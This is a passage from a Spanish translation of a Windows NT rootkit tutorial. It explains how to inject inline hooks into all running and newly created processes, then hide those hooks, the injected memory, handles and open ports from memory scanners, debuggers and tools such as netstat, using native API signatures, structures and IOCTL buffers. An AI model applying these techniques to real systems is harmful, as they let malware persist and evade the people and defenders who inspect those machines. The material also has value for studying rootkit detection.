=====[ 7.2 Gancho global ]======================================================

La enumeracion de procesos es hecha por los metodos ya mencionados
de la funcion NtQuerySystemInformation. Hay unos pocos procesos nativos
en el sistema, con los que usaremos el metodo de gancheo de reescribir las
primeras instrucciones de la funcion. Haremos lo mismo para para todos los
procesos en ejecucion. Reservaremos una parte de memoria en el proceso
victima donde escribiremos nuestro nuevo codigo para las funciones que queramos
enganchar. Entonces cambiaremos los cinco primeros bytes de estas funciones
con la instruccion jmp. El salto redirigira el flujo de ejecucion a nuestro
codigo. Asique el jmp sera ejecutado inmediatamente despues de llamar a la
funcion. EL como salvar las instrucciones ya fue descrito en el capitulo
3.2.3. del documento "Hooking Windows API".
Lo primero que tenemos que abrir es el proceso victima con
NtOpenProcess y obtener su handle. Si no tenemos suficientes privilegios esto
fallara.

NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);

ProcessHandle es un puntero a un handle donde se va a almacenar el
resultado. DesiredAccess debe ponerse al valor PROCESS_ALL_ACCESS. Pondremos
el PID del proceso victima a UniqueProcess, en la estructura ClientId, y
UniqueThread lo debemos poner a 0. El handle abierto siempre hay que
cerrarlo con NtClose.

#define PROCESS_ALL_ACCESS 0x001F0FFF

Ahora vamos a reservar la parte de memoria que necesitamos para nuestro
codigo. Para ello utilizamos NtAllocateVirtualMemory.

NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

(***Nota del traductor: En la version original de este documento, holy_father
escribe el segundo argumento como IN OUT PVOID BaseAddress,
sin embargo en la documentacion de la funcion aparece
IN OUT PVOID *BaseAddress, donde el asterisco indica
puntero doble, yo lo he puesto como aparece en la
documentacion)


ProcessHandle es el obtenido con NtOpenProcess. BaseAddress es un
puntero a otro puntero al comienzo de la zona que queremos reservar. Aqui
se almacenara la direccion de la memoria reservada. El de entrada tambien
puede ser cero ( en ese caso la direccion sera elegida por el sistema).
AllocationSize es un puntero al numero de bytes que queremos reservar. Y de
nuevo tambien es usado como valor de salida para el numero de bytes
reservados. Es bueno poner AllocationType a MEM_TOP_DOWN junto con MEM_COMMIT
porque asi la memoria sera reservada en la posicion mas alta posible.

#define MEM_COMMIT 0x00001000
#define MEM_TOP_DOWN 0x00100000


Ahora ya podemos escribir nuestro codigo con NtWriteVirtualMemory.

NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

BaseAddress sera la direccion devuelta por NtAllocateVirtualMemory.
El buffer apunta a los bytes que queremos escribir, y BufferLength es el
numero de bytes que queremos escribir.

Ahora tenemos que poner ganchos a funciones sueltas. La unica libreria
que es cargada independientemente por todos los procesos es ntdll.dll. Asi
pues tendremos que comprobar si la funcion que queremos ganchear es importada
o no desde ntdll.dll. Pero la mempria donde estaria esta funcion podria
estar reservada , asique reescribir bytes en su direccion podria provocar un
error en el proceso. Es por esto por lo que tenemos que comprobar si la
libreria (donde esta la funcion que queremos ganchear) esta cargada en
el proceso
victima o no.

Necesitamos obtener el PEB (Process Environment Block, Bloque
de entorno de proceso) mediante NtQueryInformationProcess.


NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

Pondremos ProcessInfromationClass a ProcessBasicInformation. Entonces
la estructura PROCESS_BASIC_INFORMATION seria devuelta en el buffer
ProcessInformation, cuyo tamaño es dado por ProcessInformationLength.


#define ProcessBasicInformation 0

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

PebBaseAddress es lo que estamos buscando. En PebBaseAddress+0x0C esta
la direccion PPEB_LDR_DATA. Esto se obtiene llamando a NtReadVirtualMemory.

NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

Los parametros son igual que en NtWriteVirtualMemory.
En PPEB_LDR_DATA+0x1C esta la direccion de
InInitializationOrderModuleList. Es la lista de librerias cargadas al proceso.
Nos interesa solo una parte de esta estructura.

typedef struct _IN_INITIALIZATION_ORDER_MODULE_LIST {
PVOID Next,
PVOID Prev,
DWORD ImageBase,
DWORD ImageEntry,
DWORD ImageSize,
...
);

Next es un puntero al siguiente registro, Prev al anterior, el ultimo
registro apunta al primero. ImageBase es la direccion del modulo en la memoria,
ImageEntry es el EntryPoint del modulo, ImageSize el tamaño.

Para todas las librerias que queremos enganchar tenemos que obtener
su ImageBase (por ejemplo usando GetModuleHandle or LoadLibrary). Esta
ImageBase la comparamos con ImagaBase de cada entrada en
InInitializationOrderModuleList.
Ahora estamos listos para enganchar. Como estamos enganchando procesos
en ejecucion cabe la posibilidad de que el codido que queremos reescribir
estuviera en ejecucion en ese momento. Esto causariaa un error, asique primero
detendremos todos los hilos del proceso victima. La lista de sus hilos se
obtiene via NtQuerySystemInformation con SystemProcessesAndThreadsInformation
como SystemInformationClass. El resultado de esta funcion esta descrito en
el capitulo 4. Pero tenemos que añadir la descripcion de la estructura
SYSTEM_THREADS donde esta la informacion sobre el hilo.

typedef struct _SYSTEM_THREADS {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
} SYSTEM_THREADS, *PSYSTEM_THREADS;

Para cada hilo tenemos que conseguir su handle usando NtOpenThread.
Usaremos ClientId para ello.

NTSTATUS NtOpenThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);

El handle que queremos sera almacenado en ThreadHandle. Ponemos
DesiredAccess a THREAD_SUSPEND_RESUME.

#define THREAD_SUSPEND_RESUME 2

ThreadHandle will be used for calling NtSuspendThread.
ThreadHandle sera usado al llamar a NtSuspendThread.

NTSTATUS NtSuspendThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);


El proceso suspendido esta listo para reescribir. Procederemos
como esta explicado en el capitulo 3.2.2 en Hooking Windows API". La
unica diferencia es que usaremos funciones para otros procesos.

Despues de un gancho reviviremos todos los hilos del proceso
mediante NtResumeThread.

NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);


=====[ 7.3 Nuevos procesos ]====================================================

La infeccion de todos los procesos en ejecucion no afecta a los
procesos que se ejecuten despues. Podriamos obtener la lista de procesos
y al cabo de un rato volver a obtenerla e infectar aquellos que no estuvieran
en la primera lista pues serian los nuevos. Pero este metodo no parece muy
fiable.
Es mucho mejor enganchar la funcion que se llama para crear un nuevo
proceso. Con este metodo no perdemos ningun nuevo proceso. Podemos enganchar
NtCreateThread, pero no es la mejor forma. Engancharemos NtResumeThread que
tambien es llamado cada vez que un proceso se crea. Se le llama despues de
NtCreateThread.
El unico problema con NtResumeThread es que no solo se llama cuando
comienza un proceso nuevo. Pero esto se puede superar con facilidad.
NtQueryInformationThread nos dara informacion sobre que procesos posee
el hilo especifico. La ultima cosa que nos queda por hacer es comprobar si
el proceso ya esta enganchado o no. Esto lo hacemos leyendo el primer byte
de cualquier funcion que enganchemos.


NTSTATUS NtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

ThreadInformationClass es el tipo de informacion y en nuestro caso
deberia ser puesta a ThreadBasicInformation. ThreadInformation es el buffer
para el resultado cuyo tamaño es ThreadInformationLength bytes.


#define ThreadBasicInformation 0

Para el tipo ThreadBasicInformation se devuelve esta estructura:

typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

En ClientId esta el PID del proceso que posee el hilo.

Ahora tenemos que infectar el nuevo proceso. El problema es que
el nuevo proceso solo tiene en memoria ntdll.dll. Todos los otros modulos
son cargados inmediatamente despues de llamar NtResumeThread. Hay varias
formas de solventar este problema. Por ejemplo, podemos enganchar la API
LdrInitializeThunk que es llamada durante el inicio del proceso.


NTSTATUS LdrInitializeThunk(
DWORD Unknown1,
DWORD Unknown2,
DWORD Unknown3
);

Al principio ejecutaremos el codigo original y entonces engancharemos
las funciones que queramos en este nuevo proceso. Pero es mejor que
desenganchemos LdrInitializeThunk porque es llamado muchas veces despues y no
queremos reenganchar todas las funciones otra vez. Aqui todo se hace antes de
la ejecucion de la primera instruccion de la aplicacion enganchada. Por eso es
por lo que no tiene posibilidad de llamar ninguna funcion enganchada antes de
que nosotros la enganchemos.

Los ganchos en si son igual que cuando enganchamos procesos
en ejecucion solo que aqui no nos preocupamos de hilos en ejecucion.


=====[ 7.4 DLL ]================================================================

En cada proceso del sistema hay una copia de ntdll.dll. Esto significa
que podemos enganchar cualquier funcion de este modulo en el proceso desde
un primer momento. ¿Pero que pasa con funciones de otros modulos como
la kernel32.dll o advapi32.dll? Y hay varios procesos que solo tienen la
ntdll.dll. Todos los demas modulos podrian ser cargados dinamicamente en mitad
del codigo despues del gancho. Lo que tenemos que hacer entonces es enganchar
LdrLoadDll que carga nuevos modulos.

NTSTATUS LdrLoadDll(
PWSTR szcwPath,
PDWORD pdwLdrErr,
PUNICODE_STRING pUniModuleName,
PHINSTANCE pResultInstance
);

Lo mas importante para nosotros aqui es pUniModuleName que es el nombre
del modulo. pResultInstance contendra su direccion si la llamada tiene
exito.
Llamaremos al LdrLoadDll original y entonces engancharemos todas las
funciones del modulo cargado.



=====[ 8. Memoria ]=============================================================

Cuando enganchamos una funciones modificamos sus 5 primeros bytes.
Llamando a NtReadVirtualMemory cualquiera puede detectar si una funcion
ha sufrido un gancho. Asique tenemos que enganchar NtReadVirtualMemory
para prevenir la deteccion.

NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

Hemos cambiado bytes en el comienzo de todas las funciones que
enganchamos y tenemos tambien memoria reservada para nuestro nuevo
codigo. Deberiamos comprobar si la llamada lee alguno de estos bytes. Si
tenemos nuestros bytes en el rango de BaseAddress a BaseAddress + BufferLength
tenemos que camviar algunos bytes en Buffer.
Si alguien pide bytes de nuestra zona reservada deberiamos retornar
Buffer vacio y un error STATUS_PARTIAL_COPY. Este valor dice que no se copiaron
todos los bytes pedidos en el buffer. Tambien se usa cuando pedimos memoria
no reservada. ReturnLength deberia ser puesto a 0 en este caso.

#define STATUS_PARTIAL_COPY 0x8000000D

Si alguien pide los primeros bytes de una funcion enganchada tenemos que
llamar al codigo original y copiar lo bytes originales al Buffer (los hemos
salvado papra llamadas originales).

Ahora el proceso no es capaz de detectar un gancho leyendo su memoria.
Tambien si trazas el proceso enganchado con un debugger este tendria problemas.
Mostrara los bytes originales pero ejecutara nuestro codigo :D

Para conseguir un aocultacion perfecta tambien podemos enganchar
NtQueryVirtualMemory. Esta funcion es usada para obtener informacion
sobre memoria virtual. Podemos engancharla para prevenir detectar nuestra
memoria reservada.

NTSTATUS NtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN ULONG MemoryInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

MemoryInformationClass especifica la clase de datos devueltos.
Los primeros dos tipos nos interesan.

#define MemoryBasicInformation 0
#define MemoryWorkingSetList 1

Para la clase MemoryBasicInformation se devuelve esta estructura:

typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
ULONG AllocationProtect;
ULONG RegionSize;
ULONG State;
ULONG Protect;
ULONG Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

Cada seccion de memoria tiene su tamaño RegionSize y su tipo Type.
La memoria libre es del tipo MEM_FREE.

#define MEM_FREE 0x10000

Si una seccion antes de la nuestra tiene tipo MEM_FREE deberiamos
añadir el tamaño de nuestra seccion a su RegionSize. Si la siguiente seccion es
tambien MEM_FREE deberiamos añadir al tamaño de la siguiente seccion otra
vez la RegionSize.
Si una seccion antes de la nuestra tiene otro tipo devolvemos MEM_FREE
para nuestra seccion. Su tamaño es contado otra vez de acuerdo a la seccion
consiguiente.

Para la clase MemoryWorkingSetList se devuelve la estructura:

typedef struct _MEMORY_WORKING_SET_LIST {
ULONG NumberOfPages;
ULONG WorkingSetList[1];
} MEMORY_WORKING_SET_LIST, *PMEMORY_WORKING_SET_LIST;

NumberOfPages es el numero de elementos de WorkingSetList. Este
numero deberia ser decrementado. Deberiamos encontrar nuestra seccion en
WorkingSetList y mover los registros siguientes sobre los nuestros.
WorkingSetList es un array de DWORDs donde los 20 bits de mayor peso
especifican los 20 bits mas altos de la direccion de la seccion y los 12
de menor peso son flags.



=====[ 9. Handle ]==============================================================

Llamar NtQuerySystemInformation con SystemHandleInformation como clase
nos devuelve un vector de todos los handles abiertos en la estructura
_SYSTEM_HANDLE_INFORMATION_EX.

#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
ULONG NumberOfHandles;
SYSTEM_HANDLE_INFORMATION Information[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

ProcessId especifica el proceso que posee al handle. ObjectTypeNumber
es el tipo del handle. NumberOfHandles es el numero de registros en el vector
Information. Esconder un elemento es trivial. Tenemos que remover todos los
registros siguientes uno por uno y decrementar NumberOfHandles. Borrar
todos los siguientes es necesario porque los handles en el array estan
agrupados por ProcessId. Esto significa que todos los handles de un mismo
proceso estan juntos. Y para un proceso el numero de Handle es creciente.
Ahora recuerda la estructura _SYSTEM_PROCESSES que es devuelta
por esta funcion con clase SystemProcessesAndThreadsInformation. Aqui podemos
ver que cada proceso tiene informacion sobre su numero de handles en
HandleCount.
Si queremos perfeccion deberiamos modificar HandleCount con cuantos handles
ocultemos cuando se llame a esta funcion con clase
SystemProcessesAndThreadsInformation. Pero esta correcion consumiria mucho
tiempo. Normalmente hay muchos handles abriendose y cerrandose en espacios de
tiempo muy cortos durante la ejecucion del sistema. Asique puede ocurrir
facilmente que el numero de handles cambie entre dos llamadas de esta funcion
y no necesitemos cambiar HandleCount.


=====[ 9.1 Nombrando handles y obteniendo su tipo ]=============================

Ocultar un handle es trivial pero encontrar que handle hay que esconder
es mucho mas complicado. Si tenemos por ejemplo un proceso oculto deberiamos
esconder todos sus handles y todos los handles con los que esta conectado.
Esconder handles de este proceso es tambien trivial. Solo estamos comparando
el processId del handle y el PID de nuestros procesos y cuando son iguales los
ocultamos. pero los handles de otros procesos tienen que ser nombrados antes
de que podamos comparar algo. El numero de handles en el sistema es usualmente
muy grande, asi que lo mejor que podemos hacer es comparar el tiipo de handle
primero anttes de intentar nombrarlo. Nombrar tipos llevar mucho tiempo para
handles que no nos interesarian.
Nombrar un handle y tipo de handle se hace via NtQueryObject.

NTSTATUS ZwQueryObject(
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

ObjectHandle el handle del que queremos obtener informacion.
ObjectInformationClass es el tipo de informacion que sera almacenada
en el buffer ObjectInformation que ocupa ObjectInformation bytes.
Usamos la clase ObjectNameInformation y ObjectAllTypesInformation.
We will use class ObjectNameInformation and ObjectAllTypesInformation.
ObjectNameInfromation llenara el buffer con la estructura
OBJECT_NAME_INFORMATION y ObjectAllTypesInformation con la estructura
OBJECT_ALL_TYPES_INFORMATION.

#define ObjectNameInformation 1
#define ObjectAllTypesInformation 3

typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

Name determina el nombre del handle.


typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG ObjectCount;
ULONG HandleCount;
ULONG Reserved1[4];
ULONG PeakObjectCount;
ULONG PeakHandleCount;
ULONG Reserved2[4];
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
UCHAR Unknown;
BOOLEAN MaintainHandleDatabase;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _OBJECT_ALL_TYPES_INFORMATION {
ULONG NumberOfTypes;
OBJECT_TYPE_INFORMATION TypeInformation;
} OBJECT_ALL_TYPES_INFORMATION, *POBJECT_ALL_TYPES_INFORMATION;


Name determina el nombre del tipo del objeto que inmediatamente
sigue cada estructura OBJECT_TYPE_INFORMATION. La siguiente estructura
OBJECT_TYPE_INFORMATION sigue a este Name, comenzando en el limite de los
cuatro primeros bytes.

ObjectTypeNumber de la estructura SYSTEM_HANDLE_INFORMATION es un
indice del array TypeInformation.

Mas complicado es obtener el nombre del handle de otro proceso. Hay
dos posibilidades de como nombrarlas. La primera es copiar el handle via
NtDuplicateObject a nuestro proceso y entonces nombrarlas. Este metodo
fallara para unos tipos especificos de handles. Pero fallara solo para unos
pocos asique podemos usar tranquilos este metodo.

NtDuplicateObject(
IN HANDLE SourceProcessHandle,
IN HANDLE SourceHandle,
IN HANDLE TargetProcessHandle,
OUT PHANDLE TargetHandle OPTIONAL,
IN ACCESS_MASK DesiredAccess,
IN ULONG Attributes,
IN ULONG Options
);

SourceProcessHandle es un handle del proceso que posee a SourceHandle
que es el handle que queremos copiar. TargetProcessHandle es el handle del
proceso a copiar. Este sera el handle de nuestro proceso en nuestro caso.
TargetHandle es el puntero al handle donde queremos guardar una copia del
handle original. DesiredAccess deberia ser puesto a PROCESS_QUERY_INFORMATION,
Attributes y Options a 0.

El segundo metodo que funciona con cualquier handle es usar un driver
de sistema. El codigo fuente para esto esta disponible en el proyecto OpHandle
en http://rootkit.host.sk.



=====[ 10. Puertos ]============================================================

La manera mas facil de enumerar los puertos abiertos es usar
AllocateAndGetTcpTableFromStack y AllocateAndGetUdpTableFromStack, y/o
AllocateAndGetTcpExTableFromStack y AllocateAndGetUdpExTableFromStack de
iphlpapi.dll. Las funciones Ex estan disponibles desde Windows XP.


typedef struct _MIB_TCPROW {
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
} MIB_TCPROW, *PMIB_TCPROW;

typedef struct _MIB_TCPTABLE {
DWORD dwNumEntries;
MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE, *PMIB_TCPTABLE;

typedef struct _MIB_UDPROW {
DWORD dwLocalAddr;
DWORD dwLocalPort;
} MIB_UDPROW, *PMIB_UDPROW;

typedef struct _MIB_UDPTABLE {
DWORD dwNumEntries;
MIB_UDPROW table[ANY_SIZE];
} MIB_UDPTABLE, *PMIB_UDPTABLE;

typedef struct _MIB_TCPROW_EX
{
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

DWORD WINAPI AllocateAndGetTcpTableFromStack(
OUT PMIB_TCPTABLE *pTcpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetUdpTableFromStack(
OUT PMIB_UDPTABLE *pUdpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetTcpExTableFromStack(
OUT PMIB_TCPTABLE_EX *pTcpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetUdpExTableFromStack(
OUT PMIB_UDPTABLE_EX *pUdpTableEx,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);


Hay otra forma de hacer esto. Cuando un programa crea un socket y
se pone a escuchar seguramente tiene un handle abierto para el y para el
puerto abierto. Podemos enumerar todos los handles abiertos en el sistema y
enviarles un buffer especial mediante NtDeviceIoControlFile para descubrir
si el handle es para un puerto abierto o no. Esta dara tambien informacion
sobre el puerto. Como hay muchos handles abiertos solo probaremos handles
cuyo tipo sea File y nombre sea \Device\Tcp o \Device\Udp. Los puertos
abiertos solo tienen handles de este tipo y nombre.

Echando un vistazo al codigo de las funciones iphlpapi.dll que estan
ahi arriba descubrimos que esas funciones tambien llaman a
NtDeviceIoControlFiley envian buffers especiales para obtener una lista de
todos los puertos abiertos en el sistema. Eso significa que la unica funcion
que necesitamos para esconder puertos es NtDeviceIoControlFile.


NTSTATUS NtDeviceIoControlFile(
IN HANDLE FileHandle
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

Los argumentos interesantes para nosotros son FileHandle que especifica
un handle o dispositivo con el que comunicar, IoStatusBlock que apunta a una
variable que recibe el estado de completacion final e informacion sobre la
operacion solicitada, IoControlCode que es un numero especificando el tipo del
dispositivo, metodo, acceso de fichero y una funcion. InputBuffer contiene
datos de entrada que son InputBufferLength bytes y similarmente OutputBuffer
y OutputbufferLength.


=====[ 10.1 Netstat, OpPorts en WinXP, FPort en WinXP ]=========================

Obtener una lista de todos los puertos abiertos es laa primera forma
usada por ejemplo por OpPorts y FPort en Windows Xp y tambien Netstat.
Estos programas llaman a NtDeviceIoControlFile dos veces con
IoControlCode 0x000120003. OutputBuffer es escrito despues de una segunda
llamada. El nombre de FileHandle es siempre \Device\Tcp. InputBuffer difiere
para distintos tipos de llamada:

1) Para obtener vector de MIB_TCPROW InputBuffer seria:

primera llamada:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

segunda llamada:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00


2) Para obtener un vector de MIB_UDPROW:

primera llamada:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

segunda llamada:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00


3) Para obtener un vector de MIB_TCPROW_EX:

primera llamada:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

segunda llamada:
0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00


4) Para obtener un vector de MIB_UDPROW_EX:

primera llamada:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00

segunda llamada:
0x01 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 0x01 0x00 0x00
0x02 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00


Puedes ver que los buffer son distintos en unos cuantos bytes solo.
Podemos claramente agrupar estos:

Las llamadas en que estamos interesados tienen InputBuffer[1]
puesto a 0x04 y principalmente InputBuffer[17] on 0x01. Solo despues de estos
datos de entrada se llenara el OutputBuffer con las tablas deseadas. Si
queremos obtener info sobre puertos TCP ponemos InputBuffer[0] a 0x00,
y para UDP a 0x01. Si queremos tablas extendidas de salida
(MIB_TCPROW_EX o MIB_UDPROW_EX) usamos Inputbuffer[16] en la segunda llamada
puesta a 0x02.

Si descubrimos la llamada con estos parametros podemos cambiar el
buffer de salida. Para obtener numeros de filas en el buffer de salida
simplemente dividimos Information de IoStatusBlock por el tamaño de la fila.
Esconder una fila es facil ahora. Solo reescribelo con las filas siguientes
y borra la ultima. No olvides cambiar OutputBufferLength y IoStatusBlock.


=====[ 10.2 OpPorts en Win2k y NT4, FPort en Win2k ]============================

Usamos NtDeviceIoControlFile con IoControlCode 0x00210012 para
determinar si el handle de tipo File y nombre \Device\Tcp o \Device\Udp
es el handle del puerto abierto.

Asique lo primero comparamos IoControlCode y entonces el tipo y nombre
del hanlde. Si es todavia interesante entonces comparamos la longitud del
buffer de entrada que deberia ser igual a la longitud de la estructura
TDI_CONNECTION_IN. Esta longitud es 0x18. OutputBuffer es TDI_CONNECTION_OUT.


typedef struct _TDI_CONNECTION_IN
{
ULONG UserDataLength,
PVOID UserData,
ULONG OptionsLength,
PVOID Options,
ULONG RemoteAddressLength,
PVOID RemoteAddress
} TDI_CONNECTION_IN, *PTDI_CONNECTION_IN;

typedef struct _TDI_CONNECTION_OUT
{
ULONG State,
ULONG Event,
ULONG TransmittedTsdus,
ULONG ReceivedTsdus,
ULONG TransmissionErrors,
ULONG ReceiveErrors,
LARGE_INTEGER Throughput
LARGE_INTEGER Delay,
ULONG SendBufferSize,
ULONG ReceiveBufferSize,
ULONG Unreliable,
ULONG Unknown1[5],
USHORT Unknown2
} TDI_CONNECTION_OUT, *PTDI_CONNECTION_OUT;


La implementacion concreta de como determinar si el handle es
puerto abierto esta disponible en el codigo fuente de OpPorts en
http://hxdef.czweb.org (http://rootkit.host.sk).
Estamos interesados en esconder un puerto especifico ahora. Ya
comparamos InputBufferLength y IoControlCode. Ahora tenemos que comparar
RemoteAddressLength. Esta es siempre 3 o 4 para un puerto abierto. La ultima
cosa que tenemos que hcer es comparar ReceivedTsdus de OutputBuffer que
contiene el puerto en formato network y nuestra lista de puertos que queremos
esconder. La diferencia entre TCP y UDP esta en ell nombre del handle. Borrando
OutputBuffer, cambiando IoStatusBlock y devolviendo el valor de
STATUS_INVALID_ADDRESS esconderemos este puerto.



=====[ 11. Finalizando ]========================================================

La implementacion las tecnicas aqui descritas estaran disponibles
con las fuentes del Hacker Defender 1.0.0 en la pagina http://hxdef.czweb.org
(http://rootkit.host.sk) o en http://www.rootkit.com.
Es posible que añada mas información sobre invisibilidad en Windows NT
en el futuro. Nuevas versiones de este documento podrian contener mejoras de
las tecnicas comentadas.
Agradecimientos especiales a Ratter que me enseño todo lo necesario
para escribir este documento y escribir el Hacker Defender.
Enviadme comentarios a holy_father@phreaker.net o al foro de
